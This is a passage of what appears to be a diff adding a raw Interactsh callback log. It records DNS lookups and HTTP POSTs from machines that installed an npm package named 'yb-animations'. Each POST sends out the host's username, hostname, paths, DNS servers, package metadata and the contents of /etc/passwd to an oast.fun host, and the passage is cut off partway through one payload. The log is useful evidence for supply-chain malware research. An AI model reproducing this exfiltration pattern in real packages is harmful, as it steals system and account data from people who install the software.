+ DNS Response
339
+ ------------
340
+
341
+ ;; opcode: QUERY, status: NOERROR, id: 14375
342
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
343
+
344
+ ;; QUESTION SECTION:
345
+ ;ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. IN A
346
+
347
+ ;; ANSWER SECTION:
348
+ ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. 3600 IN A 206.189.156.69
349
+
350
+ ;; AUTHORITY SECTION:
351
+ ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. 3600 IN NS ns1.oast.fun.
352
+ ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. 3600 IN NS ns2.oast.fun.
353
+
354
+ ;; ADDITIONAL SECTION:
355
+ ns1.oast.fun. 3600 IN A 206.189.156.69
356
+ ns2.oast.fun. 3600 IN A 206.189.156.69
357
+
358
+
359
+
360
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 35.158.109.1 at 2024-11-29 08:23:04
361
+ ------------
362
+ HTTP Request
363
+ ------------
364
+
365
+ POST / HTTP/1.1
366
+ Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
367
+ Connection: close
368
+ Content-Length: 2092
369
+ Content-Type: application/x-www-form-urlencoded
370
+
371
+ msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Fanalysis%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Froot%22%2C%22hn%22%3A%22HOSTNAME-a1a01b0d900e4f7681569cfc64d34d12%22%2C%22un%22%3A%22root%22%2C%22dns%22%3A%5B%22127.0.0.11%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22name%22%3A%22yb-animations%22%2C%22version%22%3A%221.0.1%22%2C%22description%22%3A%22%22%2C%22main%22%3A%22index.js%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22author%22%3A%22%22%2C%22license%22%3A%22ISC%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cndaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnbin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnsys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%5Cnsync%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%5Cngames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%5Cnman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%5Cnlp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%5Cnmail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%5Cnnews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%5Cnuucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%5Cnproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnwww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%5Cnbackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%5Cnlist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%5Cnirc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%5Cngnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cn_apt%3Ax%3A100%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cnmessagebus%3Ax%3A101%3A101%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cn%22%7D
372
+
373
+ -------------
374
+ HTTP Response
375
+ -------------
376
+
377
+ HTTP/1.1 200 OK
378
+ Connection: close
379
+ Access-Control-Allow-Credentials: true
380
+ Access-Control-Allow-Headers: Content-Type, Authorization
381
+ Access-Control-Allow-Origin: *
382
+ Content-Type: text/html; charset=utf-8
383
+ Server: oast.fun
384
+ X-Interactsh-Version: 1.2.2
385
+
386
+ <html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
387
+
388
+
389
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (AAAA) from 79.104.209.91 at 2024-11-29 08:34:13
390
+ -----------
391
+ DNS Request
392
+ -----------
393
+
394
+ ;; opcode: QUERY, status: NOERROR, id: 16778
395
+ ;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
396
+
397
+ ;; OPT PSEUDOSECTION:
398
+ ; EDNS: version 0; flags: do; udp: 512
399
+
400
+ ;; QUESTION SECTION:
401
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN AAAA
402
+
403
+
404
+ ------------
405
+ DNS Response
406
+ ------------
407
+
408
+ ;; opcode: QUERY, status: NOERROR, id: 16778
409
+ ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
410
+
411
+ ;; QUESTION SECTION:
412
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN AAAA
413
+
414
+ ;; ANSWER SECTION:
415
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
416
+
417
+ ;; AUTHORITY SECTION:
418
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
419
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
420
+
421
+ ;; ADDITIONAL SECTION:
422
+ ns1.oast.fun. 3600 IN A 206.189.156.69
423
+ ns2.oast.fun. 3600 IN A 206.189.156.69
424
+
425
+
426
+
427
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (AAAA) from 79.104.209.91 at 2024-11-29 08:34:13
428
+ -----------
429
+ DNS Request
430
+ -----------
431
+
432
+ ;; opcode: QUERY, status: NOERROR, id: 32133
433
+ ;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
434
+
435
+ ;; OPT PSEUDOSECTION:
436
+ ; EDNS: version 0; flags: do; udp: 512
437
+
438
+ ;; QUESTION SECTION:
439
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN AAAA
440
+
441
+
442
+ ------------
443
+ DNS Response
444
+ ------------
445
+
446
+ ;; opcode: QUERY, status: NOERROR, id: 32133
447
+ ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
448
+
449
+ ;; QUESTION SECTION:
450
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN AAAA
451
+
452
+ ;; ANSWER SECTION:
453
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
454
+
455
+ ;; AUTHORITY SECTION:
456
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
457
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
458
+
459
+ ;; ADDITIONAL SECTION:
460
+ ns1.oast.fun. 3600 IN A 206.189.156.69
461
+ ns2.oast.fun. 3600 IN A 206.189.156.69
462
+
463
+
464
+
465
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 79.104.209.91 at 2024-11-29 08:34:14
466
+ -----------
467
+ DNS Request
468
+ -----------
469
+
470
+ ;; opcode: QUERY, status: NOERROR, id: 25751
471
+ ;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
472
+
473
+ ;; QUESTION SECTION:
474
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
475
+
476
+
477
+ ------------
478
+ DNS Response
479
+ ------------
480
+
481
+ ;; opcode: QUERY, status: NOERROR, id: 25751
482
+ ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
483
+
484
+ ;; QUESTION SECTION:
485
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
486
+
487
+ ;; ANSWER SECTION:
488
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
489
+
490
+ ;; AUTHORITY SECTION:
491
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
492
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
493
+
494
+ ;; ADDITIONAL SECTION:
495
+ ns1.oast.fun. 3600 IN A 206.189.156.69
496
+ ns2.oast.fun. 3600 IN A 206.189.156.69
497
+
498
+
499
+
500
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 79.104.209.91 at 2024-11-29 08:34:14
501
+ ------------
502
+ HTTP Request
503
+ ------------
504
+
505
+ POST / HTTP/1.1
506
+ Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
507
+ Connection: close
508
+ Content-Length: 2158
509
+ Content-Type: application/x-www-form-urlencoded
510
+
511
+ msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Froot%2FmqUUosQKWJLvbKvDsUWR%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Froot%22%2C%22hn%22%3A%22centos%22%2C%22un%22%3A%22root%22%2C%22dns%22%3A%5B%2210.0.0.1%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22name%22%3A%22yb-animations%22%2C%22version%22%3A%221.0.1%22%2C%22description%22%3A%22%22%2C%22main%22%3A%22index.js%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22author%22%3A%22%22%2C%22license%22%3A%22ISC%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cnbin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%5Cndaemon%3Ax%3A2%3A2%3Adaemon%3A%2Fsbin%3A%2Fsbin%2Fnologin%5Cnadm%3Ax%3A3%3A4%3Aadm%3A%2Fvar%2Fadm%3A%2Fsbin%2Fnologin%5Cnlp%3Ax%3A4%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fsbin%2Fnologin%5Cnsync%3Ax%3A5%3A0%3Async%3A%2Fsbin%3A%2Fbin%2Fsync%5Cnshutdown%3Ax%3A6%3A0%3Ashutdown%3A%2Fsbin%3A%2Fsbin%2Fshutdown%5Cnhalt%3Ax%3A7%3A0%3Ahalt%3A%2Fsbin%3A%2Fsbin%2Fhalt%5Cnmail%3Ax%3A8%3A12%3Amail%3A%2Fvar%2Fspool%2Fmail%3A%2Fsbin%2Fnologin%5Cnoperator%3Ax%3A11%3A0%3Aoperator%3A%2Froot%3A%2Fsbin%2Fnologin%5Cngames%3Ax%3A12%3A100%3Agames%3A%2Fusr%2Fgames%3A%2Fsbin%2Fnologin%5Cnftp%3Ax%3A14%3A50%3AFTP%20User%3A%2Fvar%2Fftp%3A%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A99%3A99%3ANobody%3A%2F%3A%2Fsbin%2Fnologin%5Cnsystemd-network%3Ax%3A192%3A192%3Asystemd%20Network%20Management%3A%2F%3A%2Fsbin%2Fnologin%5Cndbus%3Ax%3A81%3A81%3ASystem%20message%20bus%3A%2F%3A%2Fsbin%2Fnologin%5Cnpolkitd%3Ax%3A999%3A998%3AUser%20for%20polkitd%3A%2F%3A%2Fsbin%2Fnologin%5Cnsshd%3Ax%3A74%3A74%3APrivilege-separated%20SSH%3A%2Fvar%2Fempty%2Fsshd%3A%2Fsbin%2Fnologin%5Cnpostfix%3Ax%3A89%3A89%3A%3A%2Fvar%2Fspool%2Fpostfix%3A%2Fsbin%2Fnologin%5Cntest%3Ax%3A1000%3A1000%3Atest%3A%2Fhome%2Ftest%3A%2Fbin%2Fbash%5Cntss%3Ax%3A59%3A59%3AAccount%20used%20by%20the%20trousers%20package%20to%20sandbox%20the%20tcsd%20daemon%3A%2Fdev%2Fnull%3A%2Fsbin%2Fnologin%5Cnapache%3Ax%3A48%3A48%3AApache%3A%2Fusr%2Fshare%2Fhttpd%3A%2Fsbin%2Fnologin%5Cnqemu%3Ax%3A107%3A107%3Aqemu%20user%3A%2F%3A%2Fsbin%2Fnologin%5Cn%22%7D
512
+
513
+ -------------
514
+ HTTP Response
515
+ -------------
516
+
517
+ HTTP/1.1 200 OK
518
+ Connection: close
519
+ Access-Control-Allow-Credentials: true
520
+ Access-Control-Allow-Headers: Content-Type, Authorization
521
+ Access-Control-Allow-Origin: *
522
+ Content-Type: text/html; charset=utf-8
523
+ Server: oast.fun
524
+ X-Interactsh-Version: 1.2.2
525
+
526
+ <html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
527
+
528
+
529
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 79.104.209.241 at 2024-11-29 08:35:14
530
+ -----------
531
+ DNS Request
532
+ -----------
533
+
534
+ ;; opcode: QUERY, status: NOERROR, id: 65147
535
+ ;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
536
+
537
+ ;; OPT PSEUDOSECTION:
538
+ ; EDNS: version 0; flags: do; udp: 512
539
+
540
+ ;; QUESTION SECTION:
541
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
542
+
543
+
544
+ ------------
545
+ DNS Response
546
+ ------------
547
+
548
+ ;; opcode: QUERY, status: NOERROR, id: 65147
549
+ ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
550
+
551
+ ;; QUESTION SECTION:
552
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
553
+
554
+ ;; ANSWER SECTION:
555
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
556
+
557
+ ;; AUTHORITY SECTION:
558
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
559
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
560
+
561
+ ;; ADDITIONAL SECTION:
562
+ ns1.oast.fun. 3600 IN A 206.189.156.69
563
+ ns2.oast.fun. 3600 IN A 206.189.156.69
564
+
565
+
566
+
567
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 79.104.209.241 at 2024-11-29 08:35:15
568
+ ------------
569
+ HTTP Request
570
+ ------------
571
+
572
+ POST / HTTP/1.1
573
+ Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
574
+ Connection: close
575
+ Content-Length: 2021
576
+ Content-Type: application/x-www-form-urlencoded
577
+
578
+ msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%5C%5Cnode_modules%5C%5Cyb-animations%22%2C%22hd%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%22%2C%22hn%22%3A%22DESKTOP-FKZ2HTI%22%2C%22un%22%3A%228x7RlO6%22%2C%22dns%22%3A%5B%2210.203.80.150%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22_from%22%3A%22file%3AC%3A%2FUsers%2F8x7RlO6%2FDownloads%2Fpackage.tgz%22%2C%22_id%22%3A%22yb-animations%401.0.1%22%2C%22_inBundle%22%3Afalse%2C%22_integrity%22%3A%22sha512-wTFkUEtgii4j%2BOVj7bDsSAWbmufFhsvUI0rNZq%2BY1b1HfBjCHy2z%2BddVJECA1z8eopMWk5xjBORr%2BmNSJFWRSw%3D%3D%22%2C%22_location%22%3A%22%2Fyb-animations%22%2C%22_phantomChildren%22%3A%7B%7D%2C%22_requested%22%3A%7B%22type%22%3A%22file%22%2C%22where%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%22%2C%22raw%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22rawSpec%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22saveSpec%22%3A%22file%3AC%3A%2FUsers%2F8x7RlO6%2FDownloads%2Fpackage.tgz%22%2C%22fetchSpec%22%3A%22C%3A%2FUsers%2F8x7RlO6%2FDownloads%2Fpackage.tgz%22%7D%2C%22_requiredBy%22%3A%5B%22%23USER%22%5D%2C%22_resolved%22%3A%22C%3A%2FUsers%2F8x7RlO6%2FDownloads%2Fpackage.tgz%22%2C%22_shasum%22%3A%22fb0bb4815eceb77cf2acd9ebb19e58a647317ed5%22%2C%22_spec%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22_where%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%22%2C%22author%22%3A%22%22%2C%22bundleDependencies%22%3Afalse%2C%22deprecated%22%3Afalse%2C%22description%22%3A%22%22%2C%22license%22%3A%22ISC%22%2C%22main%22%3A%22index.js%22%2C%22name%22%3A%22yb-animations%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22version%22%3A%221.0.1%22%7D%2C%22cmdError%22%3A%22Command%20failed%3A%20cat%20%2Fetc%2Fpasswd%5Cn'cat'%20is%20not%20recognized%20as%20an%20internal%20or%20external%20command%2C%5Cr%5Cnoperable%20program%20or%20batch%20file.%5Cr%5Cn%22%7D
579
+
580
+ -------------
581
+ HTTP Response
582
+ -------------
583
+
584
+ HTTP/1.1 200 OK
585
+ Connection: close
586
+ Access-Control-Allow-Credentials: true
587
+ Access-Control-Allow-Headers: Content-Type, Authorization
588
+ Access-Control-Allow-Origin: *
589
+ Content-Type: text/html; charset=utf-8
590
+ Server: oast.fun
591
+ X-Interactsh-Version: 1.2.2
592
+
593
+ <html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
594
+
595
+
596
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 213.33.190.129 at 2024-11-29 08:35:44
597
+ -----------
598
+ DNS Request
599
+ -----------
600
+
601
+ ;; opcode: QUERY, status: NOERROR, id: 50346
602
+ ;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
603
+
604
+ ;; OPT PSEUDOSECTION:
605
+ ; EDNS: version 0; flags: do; udp: 512
606
+
607
+ ;; QUESTION SECTION:
608
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
609
+
610
+
611
+ ------------
612
+ DNS Response
613
+ ------------
614
+
615
+ ;; opcode: QUERY, status: NOERROR, id: 50346
616
+ ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
617
+
618
+ ;; QUESTION SECTION:
619
+ ;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
620
+
621
+ ;; ANSWER SECTION:
622
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
623
+
624
+ ;; AUTHORITY SECTION:
625
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
626
+ ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
627
+
628
+ ;; ADDITIONAL SECTION:
629
+ ns1.oast.fun. 3600 IN A 206.189.156.69
630
+ ns2.oast.fun. 3600 IN A 206.189.156.69
631
+
632
+
633
+
634
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 213.33.190.129 at 2024-11-29 08:35:45
635
+ ------------
636
+ HTTP Request
637
+ ------------
638
+
639
+ POST / HTTP/1.1
640
+ Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
641
+ Connection: close
642
+ Content-Length: 2070
643
+ Content-Type: application/x-www-form-urlencoded
644
+
645
+ msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%5C%5Cnode_modules%5C%5Cyb-animations%22%2C%22hd%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%22%2C%22hn%22%3A%22DESKTOP-K2NH6GE%22%2C%22un%22%3A%22kZXG3JD9q1Z%22%2C%22dns%22%3A%5B%2210.162.142.211%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22_from%22%3A%22file%3AC%3A%2FUsers%2FkZXG3JD9q1Z%2FDownloads%2Fpackage.tgz%22%2C%22_id%22%3A%22yb-animations%401.0.1%22%2C%22_inBundle%22%3Afalse%2C%22_integrity%22%3A%22sha512-wTFkUEtgii4j%2BOVj7bDsSAWbmufFhsvUI0rNZq%2BY1b1HfBjCHy2z%2BddVJECA1z8eopMWk5xjBORr%2BmNSJFWRSw%3D%3D%22%2C%22_location%22%3A%22%2Fyb-animations%22%2C%22_phantomChildren%22%3A%7B%7D%2C%22_requested%22%3A%7B%22type%22%3A%22file%22%2C%22where%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%22%2C%22raw%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22rawSpec%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22saveSpec%22%3A%22file%3AC%3A%2FUsers%2FkZXG3JD9q1Z%2FDownloads%2Fpackage.tgz%22%2C%22fetchSpec%22%3A%22C%3A%2FUsers%2FkZXG3JD9q1Z%2FDownloads%2Fpackage.tgz%22%7D%2C%22_requiredBy%22%3A%5B%22%23USER%22%5D%2C%22_resolved%22%3A%22C%3A%2FUsers%2FkZXG3JD9q1Z%2FDownloads%2Fpackage.tgz%22%2C%22_shasum%22%3A%22fb0bb4815eceb77cf2acd9ebb19e58a647317ed5%22%2C%22_spec%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22_where%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%22%2C%22author%22%3A%22%22%2C%22bundleDependencies%22%3Afalse%2C%22deprecated%22%3Afalse%2C%22description%22%3A%22%22%2C%22license%22%3A%22ISC%22%2C%22main%22%3A%22index.js%22%2C%22name%22%3A%22yb-animations%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22version%22%3A%221.0.1%22%7D%2C%22cmdError%22%3A%22Command%20failed%3A%20cat%20%2Fetc%2Fpasswd%5Cn'cat'%20is%20not%20recognized%20as%20an%20internal%20or%20external%20command%2C%5Cr%5Cnoperable%20program%20or%20batch%20file.%5Cr%5Cn%22%7D
646
+
647
+ -------------
648
+ HTTP Response
649
+ -------------
650
+
651
+ HTTP/1.1 200 OK
652
+ Connection: close
653
+ Access-Control-Allow-Credentials: true
654
+ Access-Control-Allow-Headers: Content-Type, Authorization
655
+ Access-Control-Allow-Origin: *
656
+ Content-Type: text/html; charset=utf-8
657
+ Server: oast.fun
658
+ X-Interactsh-Version: 1.2.2
659
+
660
+ <html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
661
+
662
+
663
+ [Ct4NgQ49342DD224gLj08j8R9i5darxsB] Received DNS interaction (A) from 172.253.221.152 at 2024-11-29 08:42:14
664
+ -----------
665
+ DNS Request
666
+ -----------
667
+
668
+ ;; opcode: QUERY, status: NOERROR, id: 59740
669
+ ;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
670
+
671
+ ;; QUESTION SECTION:
672
+ ;Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. IN A
673
+
674
+
675
+ ------------
676
+ DNS Response
677
+ ------------
678
+
679
+ ;; opcode: QUERY, status: NOERROR, id: 59740
680
+ ;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
681
+
682
+ ;; QUESTION SECTION:
683
+ ;Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. IN A
684
+
685
+ ;; ANSWER SECTION:
686
+ Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. 3600 IN A 206.189.156.69
687
+
688
+ ;; AUTHORITY SECTION:
689
+ Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. 3600 IN NS ns1.oast.fun.
690
+ Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. 3600 IN NS ns2.oast.fun.
691
+
692
+ ;; ADDITIONAL SECTION:
693
+ ns1.oast.fun. 3600 IN A 206.189.156.69
694
+ ns2.oast.fun. 3600 IN A 206.189.156.69
695
+
696
+
697
+
698
+ [ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 18.208.52.97 at 2024-11-29 08:42:15
699
+ ------------
700
+ HTTP Request
701
+ ------------
702
+
703
+ POST / HTTP/1.1
704
+ Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
705
+ Connection: close
706
+ Content-Length: 2251
707
+ Content-Type: application/x-www-form-urlencoded
708
+
709
+ msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Fa9be5BC8e666012%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Fhome%2Fa9be5BC8e666012%22%2C%22hn%22%3A%22instance%22%2C%22un%22%3A%22a9be5BC8e666012%22%2C%22dns%22%3A%5B%228.8.8.8%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22name%22%3A%22yb-animations%22%2C%22version%22%3A%221.0.1%22%2C%22description%22%3A%22%22%2C%22main%22%3A%22index.js%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22author%22%3A%22%22%2C%22license%22%3A%22ISC%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cndaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnbin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnsys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%5Cnsync%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%5Cngames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%5Cnman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%5Cnlp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%5Cnmail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%5Cnnews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%5Cnuucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%5Cnproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnwww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%5Cnbackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%5Cnlist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%5Cnirc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%5Cngnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2F